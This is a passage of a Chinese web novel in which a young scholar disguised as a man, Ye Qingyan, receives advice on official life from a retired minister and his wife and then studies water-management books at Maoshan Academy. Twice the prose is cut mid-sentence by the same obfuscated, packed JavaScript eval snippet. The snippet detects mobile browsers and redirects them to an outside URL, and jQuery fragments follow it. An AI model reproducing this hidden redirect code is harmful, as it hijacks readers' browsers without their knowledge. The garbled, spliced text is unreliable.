七年前,先帝驾崩,陈宴左也到了致仕的年岁,便上书今上,请辞荣归故里。 今上数次挽留。 但陈宴左依旧坚持,他直言自己已老,难免思绪愚钝,继续待在朝中只会沦为尸位素餐之辈,他不愿晚节不保。 今上见他坚持,便没在勉强,而是为他安排了隆重的致仕之礼。 叶青言嘴因为震惊而微微张开,半晌,才在开口道:“我家中有一幅您早年作的画。” 陈宴左微怔,问道:“姓叶……叶牧持是你什么人。” “正是祖父。” “竟是故人之孙。”陈宴左感慨,话毕,他再一次认真打量起了叶青言,边看边点头道,“确有故人之姿。” 微顿了顿,他又说道:“你方才说自己此番南下是为了游学?” 叶青言恭敬点头:“小子有意参加来年的春闱,自觉文章还差些火候,故此特意南下历练,希望能拓展些见识,让文章更加老练。” 陈宴左惊讶:“看你年纪轻轻,身上竟已有举人功名?” “我运气不错。”叶青言想了想,说道。 “你倒是谦虚。”陈宴左带着笑意说道,“其他学子此时已在京中以逸待劳,你倒是反其道而行。” 叶青言解释道:“小子有幸被选为二殿下的伴读,而殿下是今年九月才满的十六。” “原来如此。”陈宴左了然。 皇子需年满十六后方能入朝参政,此前必须在南苑学宫里学□□子在学宫学习,伴读自然要陪伴左右,这点作为曾经的工部尚书,陈宴左十分清楚。 “我虽未参加过科考,但对策问一道,也有一定的见解,你在金陵期间若有遇上什么不懂的,都可来寻我一问。” 叶青言听罢一喜,忙俯身作揖:“多谢阁老。” 陈宴左摆了摆手,言道,“我已辞官致仕多年,再不是什么尚书、中书令,小友你唤我一声陈老先生便可。” 叶青言:“小子恭从。” 59. 陈老夫人 两人又在田头前交流了小半刻钟。 其间叶青言发现村民们的淘沙行为全部依靠人力,很是费时费力。 田地里,村民和衙役们排成几个队伍,由第一个人捞起沙子,再一个个传递出去。 看着田头旁横生的杂草,叶青言心下突然有了个主意。 她将想法跟陈宴左说了,陈宴左听罢找来里正,让叶青言将想法再同里正说一遍。 叶青言依言又重复了一遍,里正看着地上的杂草,里头有好多牛筋草和苘麻,这两种杂草最是坚韧顽强,不宜断折,高兴地连称可行,他当即找来几个村民,让他们用地上的杂草编制草绳,再将淘沙的簸箕绑在草绳上,如此只需一个人在前装沙,另一人在后拉绳便能清出一个地方的泥沙。 队伍里的其他人也两两一组用同样的办法去清理其他地方的沙子。 此法大大增加了清沙的效率,里正连连对叶青言表示感激。 叶青言谦逊摆手。 里正没有在田头停留太久,很快他就离去忙活。 田地里热火朝天的,一片忙碌。 陈宴左见状挥毫,一幅百农秋收图跃然纸上。 陈宴左看着画纸,说道:“这会是来年此地秋收时的场景。” 说罢,陈宴左看向叶青言,笑道:“这里有你一份功劳。” 叶青言看着画纸,只见金色的稻浪中,百姓们面带喜色,挥汗收割稻子,好些孩童在已经收割完毕的田间地头拾穗,背上的小篓子里插满着遗落的稻穗。 “好画!”叶青言赞道。 时间很快来到正午,在田地里清沙的村民和差役们开始陆陆续续地离开田地归家,陈宴左见状,顺势邀叶青言到府上一叙。 因着没有准备拜访之礼,叶青言想要开口拒绝,陈宴左看出她的意图,言道:“总要先认一认门,知晓老朽家住何处,你日后才好登门拜访。” 叶青言听罢,深觉有理,便也不再拒绝,心下想着等下次拜访时定要选好拜访之礼,以示郑重。 之后两人便去了陈宴左位于溧阳县的家中。 陈府落座在溧阳城西,位置靠近金陵,并不在此次的受灾位置之内。 叶青言骑着马儿,缓缓跟在陈宴左的马车之后。 随着马车缓缓驶离洪灾的受灾范围,周遭的景色也慢慢变得如诗如画起来。小桥、流水、民宅,沁在微凉的空气之中,优美得宛如一幅淡雅的水墨画。 虽是冬月,但沿途依然可以看到很多绿意,一排红梅本应如火,但江南天气湿暖,远还没到梅花盛开的时候,梅花的叶子翠绿欲滴,宛如一片片嫩绿的嫩芽,给人一种生机盎然的感觉。 江南的冬景婉约而又蓬勃,与北方冬日的一片茫茫截然不同,无怪江南学子的笔风也与其他地方的学子不同。 江南一带的学子素以细腻和犀利著称,尤其是在策问一道,他们下笔犀利,用词毒辣,一针见血。春闱场上,很多优秀的策文都是出自江南学子之手。 马车徐徐向前,很快就来到了陈府。 抵达地方以后,叶青言发现这座陈府与陈宴左的性子一样,都很低调。 白墙青瓦,除了朱红色的大门外,几乎没有其他什么斑驳色彩,与周遭的民居毫无二致。 走进大门,可见一条用青石铺就的主道,主道宽阔笔直,道路尽头有一座假山,拐过那座假山,两人便来到一处弯曲的廊桥前,廊桥一直蜿蜒至二进的院子。 叶青言跟在陈宴左身后缓行。 陈府里没有什么特别金贵的布置,园艺倒是一流,沿路走来,叶青言只觉得通身舒适,整个人都好似慢下来了一般。 陈宴左上马车前,曾让一个脚程快的护卫先行回府将自己会带人回来的事情告知夫人崔玲。 陈老夫人崔氏早早地就在二进的月洞门前等候。 陈府的月洞门前栽有一小片桂树,也不知这桂是何品种,已是严冬,竟还有银白的花蕾绽放枝头,芳香馥郁。 见跟着自家老头子回来的竟是个少年,还是个丰姿俊秀的翩翩少年,崔玲非常惊讶。 冬日懒困,风和绮丽,谦谦少年缓步而来,宛如画中璧人,黯淡了一池殊色。 “竟是位小友。”崔玲眼带笑意,上下打量了叶青言一番。因她的眸中尽是欣赏之色,所以并不叫人觉得冒犯。 崔玲笑着对叶青言道:“方才通禀的人就告知我说,来得是个年轻人,我已有准备,却不知你竟般年轻,想来只有十又六七?” “晚生上月刚满十六。”叶青言回答。 言罢,她恭敬地递上早晨在金陵桥上所买的山茶花为礼。 这是朵白色的山茶花,花瓣洁白胜雪,金黄色的花蕊清新又贵气。 “江南无所有,聊赠一枝春。”崔玲接过茶花,悠悠念了一句。 仅此一句,便让这份略显简陋的花礼变得雅趣起来。 叶青言闻言,微有些怔,她忽然想起以前还在学宫的时候,二殿下经常给她捎来的那些柳条梅枝。 殿下那些看似随手为之的举动背后,是否也是同样的意味? “小友这礼,老妇甚是喜欢。”崔玲说道。 她看着叶青言微有些出神的表情平静微笑,心想在这种时候,换了谁都会欣喜于自己的礼物能被主人家所喜,结果这个小家伙居然还有闲情想别的事情,真是了不起。 “老头子,你这般年岁的时候,可有这样荣辱不惊的定力?”崔玲笑着同陈宴左打趣,言语之间毫不掩饰对叶青言的赞赏。 陈宴左捋了捋胡须,笑着说道:“那都是四五十年前的事儿了,我哪里还能记得哩。” 崔玲揶揄地瞟了陈宴左一眼:“是不记得了?还是不好意思说?” 陈宴左清了清嗓子,故作严肃道:“老婆子你晓不晓得何为看破不说破?” 崔玲嘁嘁发笑。 陈宴左听了也不恼怒,说道:“我便是比不过小友也正常,你别看她年纪轻轻,身上可是已有举人功名。” 崔玲诧异地看向叶青言,问:“小友已是举人?” 叶青言颔首,谦虚回应说:“侥幸过了今岁乡试。” 崔玲感慨:“小友小小年纪便有此学问,果真是长江后浪推前浪,世上新人赶旧人啊。” 叶青言闻言,想要开口说点什么,却又不知说点什么,有些腼腆地低下了头。 有天光从月洞门上的雕花檐间漏下,把地面照耀成很多个大小不一的格子,有那么一片格子恰巧落在叶青言的额头,衬得她的脸如玉般莹白。 “咱们进去再说吧。”崔玲说道。 三人穿过月洞门走进花厅,陈宴左让叶青言坐。 叶青言“嗯”了声,作揖谢过,而后很老实听话地坐到椅中,没有靠着椅背,也没有刻意只沾着点臀,总之是真的老实,没有任何刻意的地方。 陈宴左见状,笑着同崔玲对视了一眼。 “小友不必拘谨。”崔玲和善说道。 叶青言还没来得及接话,就被陈宴左先接去了话茬:“你这话说得容易,可不自在这种事情哪里又是想没就能没的。” 崔玲闻言,没好气地斜了陈宴左一眼:“我是在替你招呼客人。” 陈宴左不甚在意地摆了摆手:“拘谨也是一种态度,小友只要随心表现自己最真实的态度即可,她感到拘谨,你非让她不要拘谨,这岂非也是一种勉强?” “……”崔玲被这话给气笑了,“照你这么说,还是我多事了?” 陈宴左竟点了点头:“然也。” 崔玲拿眼睛去瞪陈宴左。 “心随意动,顺心意而行,顺心意而活,只有顺了心意,才能拥有真正的平静,而平静,是冷静的最高境界。”陈宴左捋了捋胡子,继续侃侃说道,“圣人有言,君子如水,随圆就方,便是此理。” “不是吧,若真如你所言,随圆就方,那小友便该听我之言,不要拘谨才是。”崔玲显然也不是三言两语就能被说服的人,听其话语,便知她也是饱读诗书之辈,言谈举止甚有底蕴。 “无论是方是圆,都得是小友自己的方,自己的圆,评判由他,不然何来如水之前提?需知思想是行动的先导,而行动又是思想的体现,有思想不一定付诸行动 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两位老人就像是拉家常一般,你一句我一句,看似吵嘴,实则蕴含深意。 叶青言仔细听着,一句句记入心间。 其间有丫鬟进来上茶,而后又迅速退下。 叶青言静静沉思,久久没有说话。 两位老人的拌嘴行为,不知何时也停了下来。 又过了一会儿,叶青言起身,感激言道:“小子多谢二位指点迷津,你们说的,我都记住了。” 陈宴左眨了眨眼:“我们有教你什么吗?” 叶青言:“君子当如水,当能屈能伸,无论身处何种环境,都要保持平常之心,在顺境中低调谦虚,在逆境中保全忍耐,如此方是为官之道。” 崔玲笑着点头:“不错不错,小友果然很有慧根。” 陈宴左却是静静看着叶青言,看了很长时间,才道:“当年你父亲出生的时候,我还在京都,我当时就对你祖父说,你祖母是个不错的娘子,定能教出一个不错的孩子,你父亲也确实是个很不错的孩子,于国于民于家皆是,只是可惜……但现在看来,他的那份不错在你身上得到了延续。” 叶青言并不知道这段往事,闻言,真诚说道:“老先生谬赞了。” “这不是夸赞,而是发自真心的赞美。”陈宴左认真说道,“成国公府是武将世家,在军中人脉极广,你父亲虽已不在,但他的部下仍在,你若选择行武,前方便是捷径,可你却选了一条截然不同的道路,如此魄力,何其难得。” 叶青言张了张嘴,想要说些什么,但到底还是什么也没有说,而是有些自责地低下了头。 她之所以会选择走科举这条路,并不是因为陈宴左所说的勇气,而是不得已而为之,若她是真正的男儿身,此时的她或许已经踏在了北境的土地之上。 就交谈说话的这会儿功夫,已喝完了一盏茶。陈宴左道:“我说过要指导你策论,下次来时,记得要带上你的文章。” 叶青言一怔,诧异之余,很是惊喜,心底那点儿惘然自责也随之烟消云散,起身郑重一礼道:“晚生恭从。” 与早先在田头前所说得客套性质的指教不同,陈宴左此时,在此地的此言是一种暗示。 不,应该说是明示。 明示叶青言可以随时上门寻他探讨学问。 陈宴左虽已赋闲在家,也没有过科考的经历,可他的履历实在过于亮眼,这足以弥补一切不足。 他是三朝老臣,从县衙主簿,到溧阳知县,到应天知府,最后入驻工部,任工部侍郎,再到工部尚书,辅政大臣。 他既当过地方官,也进入过大庆的权力中心,且两条路他都走到了最顶峰,对于想要进入官场的人来说,他有绝对的话语权。 可以说叶青言在为官路上所遇见的每一个坎,都有可能是他曾经遇见过又跨越过的。 到过山顶的人,不仅仅已经见过山顶的风景,还知晓这一路的陷阱、坎坷不平。 他的指导对叶青言的重要程度,不言而喻。 60. 善意指引 就在三人交谈之时,大厨房那边备好了午饭。 陈宴左开口留叶青言用膳。 叶青言没有推辞,礼貌地表示了谢意。 陈府的午膳很清淡,一道清炒玉兰片,一道炒鸡脯,还有一道炖豆腐,汤则是萝卜汤,只有这三菜一汤,崔玲并没有因为叶青言的留膳而特意备下大餐,这让叶青言心间的紧张少了几分。 陈府没有什么食不言的规矩,用膳期间两位老人不时沟通,他们总能找到可以争吵的点。 当然不是真的争吵,只是一个可以讨论的话题。 叶青言偶尔也会接上两句,但大多时候,她都在闷头吃饭。 饭是粳米饭,很香,菜的味道也很不错,距离她最近的菜是玉兰片,第二近的是炒鸡脯。 炒玉兰片不用说了,非常清口。炒鸡脯里用了些酱,吃起来口感很好,叶青言一边吃一边暗暗琢磨这酱是怎么做的。萝卜汤是用肉汤做的汤底,喝起来鲜香清甜,很是爽口。 除了离得稍远,又不便夹起的炖豆腐,每一道菜叶青言都品尝了一遍,她一口饭一口菜,吃得很慢。 崔玲见她始终没有动自己面前的豆腐,便对她说:“这豆腐不错,你尝尝。” 一旁侍膳的婆子听了,当即为叶青言舀了一勺豆腐。 叶青言尝了一口,发现这豆腐确实不错,细嫩滑口,极入味。 …… 饭毕,三人放下筷子。 伺候的婆子端水过来,服侍着三人漱口洗手,一会儿,又有丫鬟送了盏茶来。 丫鬟将茶壶放下,就退下去收拾碗筷了。 陈宴左指了指茶壶。 叶青言明白过来,拎起茶壶把陈氏夫妇面前的茶杯斟满,想了想,把自己面前的那个茶杯也斟了满。 他们此时正坐在花厅东侧的窗案前,正午的太阳很热烈,兜头而下的阳光仿佛一件温暖的斗篷,把人从头到脚都包了个严实。 窗外有一汪小池,隆冬时节,池中的水莲不见踪迹,清澈的池水里映出周围亭楼花木的倒影,显得非常清幽,忽而一阵东风拂过,池面的倒影随之散成一条条细痕。 茶是上好的安西炒黑茶,养胃健脾,最适合饭后饮用。 叶青言安静地喝着茶。 陈宴左注意到,哪怕经过刚刚那一系列的动作,眼前少年的衣领依然紧扣,衣着一丝不苟,他对此非常满意。 “我曾见过无数能人,你不比他们中的任何一人差。”陈宴左突然说道。 叶青言诧异地看了过去,发现陈宴左此时的表情格外认真,她看着他的眼睛,没有在里面看到任何虚伪的情绪,也没有勉强,只有真挚。 这显然是一句真话,一句绝无掺假的真话。 但叶青言不敢接受,谦逊说道:“前辈谬赞了,比起前人,晚辈差得远矣。” 陈宴左摇了摇头,笃定道:“老夫的眼光不会错的。” 叶青言从来没有觉得自己有什么了不起的,可今天却有人说她一点也不比他曾经见过的那些能人差。 更重要的是,说出这句话的人本身就是举世公认的能人,他口中的能人自然都非等闲,能与那样的前人相提并论,这让叶青言很吃惊,也很高兴。 陈宴左的夸赞是那样的直白。 如果换作是旁的人,面对这样的夸奖或许会失态,但叶青言没有。 因为自她懂事开始,她就必须隐藏自己最真实的一面,她一直都生活在阴影之下,这让她拥有难以想象的毅力与意志,她能很好地控制自己的情绪。 她甚至很快便从惊喜的情绪中摆脱出来,恢复了真正的平静。 陈宴左见状,神情不变,内心却已然掀起波澜——以此子的心性,将来的仕途只怕会比自己走的更远。 果真江山代有才人出啊。陈宴左内心感慨,但,成熟需要雨水滋润,有时候更需要些压力。 陈宴左看着叶青言的眼睛,没有表现出任何异样,口中则继续说道:“你虽有才能,可为官之路,却不是有才就能通畅的。” 叶青言闻言搁下茶杯,拱手道:“还请老先生赐教。” 陈宴左呷了口茶,抬手指向崔玲所在的侧方。 叶青言顺势看去,她这时才注意到一直没有出声的崔玲原来正在整理陈宴左今日所画之图。 崔玲此时手中所握着的,正是那一幅江口入海图。 见叶青言的目光落在画卷之上,陈宴左循循言道:“现今官场就如此画,你最开始见到的激流险滩便是科举之试,此地看似凶险,实则最为轻松,你只需牢牢护住扁舟,与浪涛相争,占据鳌头即为胜。” 叶青言眨了眨眼,说道:“此时仍以才能为重,一切皆以文章优劣分高低。” “不错。”陈宴左赞许点头,“待你翻过此口入海,便是真正的仕途,前路看似一马平川,实则一片茫茫,这样的情形,最是容易误人,古今多少初入官场的学子就是折在了此处。” 迎着叶青言不解地眼神,陈宴左问道:“是想,当你从汹涌的江河进入广阔的沧海,此时若无人在前领路,你是否会不知所措?” 叶青言想了会儿,点头。 “可情势不会等你适应,官场是这世间竞争最残酷的地方,势必会有暗流推着你前行,随波逐流者是无法为百姓谋福利的。”略顿了顿,陈宴左继续说道,“这点你倒是不用担心,作为皇子伴读,在这方面你有天然的优势,你需要担心的是如何保持初心。” 叶青言很认真地听着,闻言下意识重复了一遍:“保持初心……” “是的,保持初心,官场是个大染缸,入了这个染缸,便得万分小心,稍有不慎,丢的可不止官位,还有良心和性命。古往今来,贪官何其之多,可这天下的贪官,也不是一开始就想着荣华富贵,总有那么几个人是想要做实事的,只是日子一久,便渐渐在纸醉金迷里迷失了自己的初心。” 叶青言沉吟了片刻,说道:“有人曾同我说过,贪官未必就不是干吏,清官也未必就能造福百姓。” 陈宴左一怔,随即朗声笑道:“睿智之言。” “您也赞成此言?”叶青言问。 “自然,无论是贪官还是清官,都有一个尺度,过则害民,贪官自不必说,清官亦同,但凡为官做事就没有让所有人都满意的,一个官员若过分在意自己的名声,事事都以名声为先,那便只能采取少做少错,不做不错的中庸之道,如此他自己的名声倒是保全了,可这于百姓于天下,又有何益处?” “为官者,不可随波逐流,可也不能不随波逐流。” “当年我初入京都任侍郎的时候,我的上峰便对我说过一句话,他说——想做个为民谋福利的好官更要警惕,而警惕需要拥有相应的能力,不然就会变成笑话。” 叶青言细细品味陈宴左话中之意,有风从池面拂来,将周遭的气温压低,桌上的那盏茶水随之泛起涟漪。 杯里茶水早已凉透,叶青言端起茶杯抿了一口,却未曾发觉茶水中的冰凉。 她道:“为官者不能贪,不能怠,当清,当慎,当勤,当明辨是非。” “善!大善!”陈宴左抚掌笑道,“身处官场,最难得的,便是一个人能够在处事圆滑的同时,还保留着内心深处的一点赤子之心。正如一个人看遍世间阴暗,却仍愿相信真情的存在,仍愿用一腔热血去报效这个朝廷,这个国家。” 这一番话,可以说是陈宴左的倾囊相授,善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196954|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意指引。 叶青言细细深思,认真领悟,而后起身,郑重一揖,言道:“晚生谢过老先生指点迷津,我都记下了,日后踏入官场也定不负老先生您的期望。” “不过几句话的事儿,小友实不必言谢。”陈宴左不甚在意地摆了摆手,“我与你祖父有旧,便也是你的长辈,年关将至,你孤身在金陵,空暇时可常过府同我等闲叙。” 叶青言在作一礼,道:“多谢先生,此乃晚生之荣幸。” “好好好。”陈宴左满意得连连点头。 崔玲见状拆台道:“便是小友来找你聊天闲叙又如何,就你讲话时那七拐八弯的样儿,小友可不见得愿意琢磨你那些弯弯道道。” 陈宴左一听这话就不乐意了,道:“什么叫弯弯道道?我那是说话委婉,况且叶小友如此聪慧,哪里还需要琢磨?定然一听就能明了。” 陈老妇人笑了起来:“所以你是同意自己说话弯弯绕绕?” “……”陈宴左轻叹一声,转头对叶青言道,“还说我说话弯弯道道呢,我看讲话最弯弯道道的就是她了,稍有不慎就落进了陷阱。” 叶青言听罢也笑了起来,道:“老夫人饱读诗书,讲话甚有底蕴。” 被个少年人这样夸赞,崔玲突然就不好意思起来,低头继续忙活手里的事儿。 陈宴左见状,推了推她:“小友夸你呢。” “我裱画呢!” …… 又小叙了片刻,叶青言起身告辞。 老两口亲自将叶青言送出府。 看着对方离开的背影,崔玲拿手肘碰了碰陈宴左,道:“老头子,可有些年头没见你如此上心地指点后生了。” 陈宴左摸了摸胡子:“总是要遇见合心意的,才好出言指点不是?” 崔玲想了想,深以为然地点了点头:“叶小友确实不错。”顿了顿,她又补了一句,“也甚合我心。” “哈哈哈哈。”陈宴左朗笑出声。 之后的日子,叶青言时常投帖拜访陈宴左夫妇。 无论是陈宴左还是其夫人崔氏,都很欢迎她的到来。 通过短短几天的相处,叶青言便有点喜欢这一对老夫妻了,除了第一次见面时的有心指导,之后他们便再没端着长辈架子对她指指点点,也不会因她年少而慢待于她,从始至终,他们都是将她当成一个对等的人。 对于他们这样身份的人而言,这并非易事。 偶尔几次,叶青言还见到了溧阳县令。 县令大人从其父处知晓了她对淘沙之事的改进,十分欢喜,并为此对她表示了感谢,因为她的提议,淘沙工作进行得很顺利,能在年前将所有的田地都清理处理。 叶青言听到这个消息也很高兴。 当然,这些都是后话。 回到客栈,叶青言照常问小二要了一盆热水。 擦净脸上和手上的灰尘,叶青言坐到桌前,开始研墨,脑中则构思着如何下笔,她要就今日所闻所见写一篇有关兴修水利的策文。 叶青言从小就在京都生活,京城附近无大江,所以关于水利方面的知识,她懂得不多。 这一篇策文她写得极为艰难。 从日斜?一直写到子夜,才将将结束。 夜色最深的时候,外头的地面上结了一层冰霜,泥土深处传出极轻微的磨擦声,仿佛蚕在啃食桑叶,仿佛是无数蚯蚓赶在寒冬之前拼命地向地底钻去。 叶青言放下手中毛笔,看着面前的策文,心中不甚满意。 罢了,欲速则不达。 或许她该拜访一趟茅山书院,借书院的藏书,查阅相关资料后再行落笔。 打定主意,叶青言收起文章,熄灯上床。 61. 茅山书院 第二日清晨,天有晨雾降下,远远看去一片灰蒙,仿佛纯白的布上,被泼洒了无数灰墨。 像过去十六年来的每个寻常清晨一样,叶青言在五时准时睁眼。 起床后,她没有如往常那样穿衣洗漱,而是问店小二要了一大桶热水。 昨夜因为停笔得太晚,她没有叫水沐浴。 她是个有轻微洁癖的人,所以她今日早晨醒来的第一件事情就是沐浴。 她用了半个时辰和一大桶热水把自己从头到脚洗得清清爽爽,然后才出现在客栈大厅。 她在客栈前堂吃了一碗小米粥,四个一笼的热乎乎的肉包子,又叫了一碗香茶清口,然后才起身走出客栈,走进金陵还不算热闹的街道上,开始了新一天的旅程。 她这一次的目的地是茅山书院。 书院距离客栈不远,叶青言选择了闲步而去。 昨夜下了霜,金陵主街的青石板路被薄霜覆盖,每走一步都像是踩在深秋的落叶之上。 前方有桥,薄雾缭绕着小桥流水?,隐约可见河面上有几叶扁舟轻轻摇曳,早起船夫的歌声随风飘荡,悠扬而深远。 时光缓移,太阳渐渐升起。 今天的天气很好,阳光碎碎地散下来,带着点漫不经心的味道,路上的行人还不是很多,喧嚣未起。 按照事先从小二哥处打听来的路线,没用多长时间,叶青言便来到了茅山书院。 茅山书院地处金陵南部,那是一片极大的建筑群,巍峨壮观之极,单是正门前的石阶就有上百余级,石阶的两边各坐落着九根石柱,这些石柱极高,约有十丈,每根石柱之间隔着约莫三丈的距离,若从远处看,并不觉得如何特殊,但走到近处,见石柱成列,顿生壮观之感。 走到石柱前,叶青言才发现石柱上竟没有丝毫缝隙,不由震撼地瞳孔微缩,这些石柱竟然是由整块岩石雕刻打磨而成的,便是京都皇城也难见这样的柱子。 晨风穿行其间,晨光照耀其上,石柱之间没有任何事物,石柱之上是天空,石柱尽头则是一片银杏树林,只是此时银杏的叶子已全部落光,只留下优美的树姿?。 银杏之后便是茅山书院的大门。 门匾上“茅山书院”四个金漆大字在朝阳下熠熠生辉。 门房处,叶青言递上文书,很轻易地便通过审核进入了书院。 她身上有举人功名,又是从京城游学而来,自然有进入茅山书院学习参观的资格。 在门房的带领下,叶青言走进了书院大门。 茅山书院的建筑布局十分考究,整体布局呈长方形,以中轴线为中心,左右对称,层次分明。 书院分前后两进院落,前院为讲学场所,后院为祭祀和藏书之所。 叶青言的眼前是一条宽直的大道,大道两侧种着许多树木,纵使冬意肃寒,落叶渐多,可因为树木太多的缘故,绿意依然很足。 绿树成茵,山茶灿烂,看着这些美丽的画面,叶青言心中的郁气尽数消失一空。 约莫走了一盏茶左右,叶青言便在门房的带领下,来到了位于茅山书院后院位置的教枢处。 她不是茅山书院的学生,要参观书院的藏书楼,就必须获得教枢处的许可通知。 任何书院都有这个成文的规定,叶青言对此并不陌生。 谢过门房后,叶青言走进了教枢处,找到相关的办事人员,递上自己的文书,并道明来此的目的。 “你要借阅我们学院的藏书楼?”那名办事人员接过叶青言递上的文书,口中喃喃说道,这位办事人员有些胖,此时眼睛微眯,看着似乎没有睡醒。 叶青言闻言,礼貌地颔首重复道:“是的,晚生从北地游学而来,中途遇到些疑问,此番特来贵学院藏书楼解疑。” 办事人员缓缓睁开眼睛,打了个呵欠,走到窗边洗了把脸,才总算清醒了些。他走回桌前,有些厌烦地看了叶青言一眼,拿起刚刚放下的文书,一目十行扫过,当看到文书上所写的顺天府解元几字,目光微微一凝,再次抬眸看向叶青言。 叶青言不卑不亢,任由对方打量。 一会儿,那名办事人员将文书递回给叶青言,想也未想地拒绝道:“不准。” 叶青言一怔,抬手接过文书,道:“理由。” “你来的不巧。”办事人员勾了勾唇,满脸轻佻的横肉,“已是腊月,不出几日我们学院便要放年学,此时藏书不易外借。” 叶青言想了想,道:“我可以不外借,就在楼中查阅。” 办事人员依旧摇头,脸上已有不耐:“不行,就要休沐,藏书楼需要查阅整理,外人不能入内。” 叶青言还想再说什么。 那名办事人员猛地站起,直接抬手赶人:“请回。” 一刻钟后,叶青言站在教枢处前,看着眼前门窗紧闭的房间,心中一片惘然。 她能感觉到那名办事人员对她的敌意,这让她感到莫名,她不明白对方的敌意何来,而且对方明显是在看了她的文书之后才对她产生的戒备。 叶青言展开手里的文书,目光落在当中的“顺天府解元”几个字上,心中隐隐有了猜测。 但她没有用更多的时间去思考这个问题。 因为无论对方对她的敌意何来,他的拒绝都无可指责。 假期将近,书院藏书楼需要内部规整,因此而拒绝书院之外的学子造访,这是很名正言顺的理由,便是告到了山长处,山长也不会因此惩罚对方。 叶青言闭了闭眼,做了两次极为深远绵长的呼吸吐纳,将胸腹间的那抹不适与惘然尽数排出体外,又将手中那张薄薄的文书折好收入怀里,然后转身,向着书院大门走去。 她是很珍惜时间的一个人,从不将时间浪费在无意义的事情之上。诚然,她若坚持一定要进入藏书楼,并为此事找上书院山长,山长虽不会因此责怪那名办事人员,但最后也会让她如愿。 可这会浪费很多时间,春闱将至,叶青言眼下最缺的就是时间,况且金陵也不止有茅山书院这一座书院。 然没等叶青言走出多远。 就听到身后传来气喘吁吁地跑步声。 那名肥胖的办事人员跑到叶青言身前将她拦下。 叶青言奇怪地看着他。 此时那办事人员脸上的神情很惶恐,额上满是汗水,他甚至顾不得调整呼吸,脸上堆出笑容,极艰难说道:“我刚刚就是跟您开个玩笑,您怎就真走了呢?真是的实诚的孩子。” 叶青言奇怪地看着对方,心想你这说的都是什么话?“您”这个字与孩子凑在一起完全不搭好吗? 但对方显然已顾不得这许多,他依旧讨好地笑着,想要伸手去拍叶青言的肩膀,却又不敢。 叶青言心下疑惑更甚,不过一会儿的功夫,对方的态度怎会变得如此之大? 有悠远的钟声从学堂方向传来,不知想到了什么,叶青言的神情有一瞬地凝滞,但他很快又恢复了平静。 那名办事人员没有注意到叶青言的表情变化,他堆着虚伪的笑容,抬手示意了一个方向,说道:“藏书楼就在那边,我送您过去?” 叶青言想了想,颔首。 见人同意,那办事人员心下一喜,抬手欲扶叶青言的胳膊,却被对方避了过去,他也没有在意,依旧热情地招呼对方往藏书楼而去。 有很多书院的学子也走在去往藏书楼的路上。 见到平日傲慢无比的教枢处办事员,居然会对一个学生模样的少年如此亲热,很多学子都很震惊,这自然也引起院内学子的一些谈论。 众人纷纷猜测那名少年究竟是何许人也。 好多对此感到好奇的学子,下意识跟在了两人身后。 …… 茅山书院不愧是金陵最大的书院,这里的藏书极为壮观。 一眼望不到头的书架深入藏书馆的阴影之中,不见其尾,给人一种极其强烈的视觉刺激。 看着眼前一排排的书架,和架上密密麻麻的书籍,叶青言心下顿时生出很多喜悦,她问藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204348|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书楼的负责人要来了藏书楼的名录。 因为教枢处那名办事人员的特别交代,藏书楼的负责人没有为难叶青言,很快就从藏书楼侧室的抽屉里找到名录,递给了叶青言。 叶青言拿着名录走进藏书楼幽长的书架里,没用多长时间便找到了想找的第一本书。 《水经注》。 这本书的名字很简单,一看便知是与水有关的书籍。 这是一部诞生于东晋时期的地理学著作,作者是北魏著名的地理学家郦道元。这本书主要介绍了中原各大河流的地理特点、水文情况和治理方法,它通过对江河流域的详细调查和记录,为后代的治水工作提供了重要参考。 叶青言知道这本书,也曾看过,但她当时只是匆匆一看,并未入心,而这一次,她需要仔细研读这本书,继而真正地了解与治水相关的知识。 除了《水经注》,叶青言还拿了《水经》、《河渠书》、《河防通议》等四本与治水相关的书籍。 她寻了个靠窗的位置,借着门外洒下的天光,认认真真地看起了书。 她看得极认真,似是完全察觉不到时间的流逝。 眼看午饭时间将近,藏书楼里的好些学子都起身离去用膳,可叶青言却丝毫没有要放下书本的意思。 这样的求学态度,让那些因为教枢处办事人员的逢迎而对叶青言起了成见的学子们颇为动容。 他们都是学生,也曾因学习废寝忘食,自然知晓这需要何等的专注力。 这让一些本想寻叶青言麻烦,但碍于对方一直没有离开藏书楼而迟迟没有行动的学子放弃了这个初衷,他们起身将书册放回原位,之后便离开了藏书楼。 时光渐移,日光也渐移,藏书楼里的学子们渐渐离开,到最后,只剩下叶青言一人。 就在这时,一黑衣男子提着食盒走进了藏书楼。 他来到叶青言身边,轻轻放下食盒。 叶青言抬头看去。 感应到叶青言的目光,黑衣人点头致意,只是神情显得有些尴尬。 “你跟踪我。”叶青言放下书本,开门见山道。 黑衣人有些无奈,说道:“殿下让我保证您的安全。” 这名黑衣人正是叶青言生辰当日,代替林翊前往客栈给叶青言送礼物的那名暗卫。 叶青言:“你是何时开始跟踪我的?” 暗卫:“从您进入金陵之后。” “之前没有?” “属下一直在金陵办差,收到殿下的飞鸽传书后,便一直在城门等着您的到来。” “我到金陵之前有没有别人……保护我?” “属下不知。”黑衣暗卫摇头。 叶青言闻言敛眸,一会儿,便得出了结论,没到金陵之前,应该没有人跟着她,毕竟殿下还只是殿下,当下还无法调动那么多人手…… 微顿了顿,叶青言又问:“教枢处那人是怎么回事?” 